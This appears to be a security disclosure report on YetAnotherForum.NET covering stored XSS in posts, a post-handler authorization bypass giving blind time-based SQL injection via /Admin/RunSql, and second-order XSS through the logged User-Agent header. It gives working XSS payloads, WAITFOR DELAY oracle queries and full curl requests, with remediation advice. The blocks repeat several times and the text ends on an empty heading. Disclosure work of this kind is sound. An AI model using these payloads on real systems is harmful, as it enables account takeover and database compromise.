YAFNET.Core

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

